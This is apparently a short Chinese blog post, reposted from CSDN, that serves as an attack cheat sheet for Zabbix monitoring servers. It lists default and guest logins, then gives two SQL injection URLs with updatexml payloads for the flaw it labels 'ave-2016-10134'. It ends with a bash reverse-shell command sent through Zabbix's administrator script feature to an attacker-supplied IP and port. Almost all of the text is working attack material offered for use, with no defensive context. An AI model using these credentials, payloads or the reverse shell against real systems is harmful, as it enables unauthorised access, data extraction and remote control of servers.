一： 弱口令/默认账号
admin:zabbix
Admin:zabbix
guest: 空
二： sql注入(ave-2016-10134)
版本
2.2.x
3.3.0-3.03
1
http://192.168.239.24/latest.php?output=ajax&sid=bb3e723dc1a917a2&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database()),0)
Sid要替换为zbx_session的后16位
2
http://ip:port/jsrpc.php?type=0&mode=1&method=screen.get&profileldx=web.item.graph&resourcetype=17 &profileldx2=updatexml(0,concat(0xa,database()),0)
三：系统命令执行
管理员登录
Administrator-script-createscript
bash -i >& /dev/tcp/ip/端口 0>&1
来源：CSDN
作者：sojrs_sec
链接：https://blog.csdn.net/sojrs_sec/article/details/103782432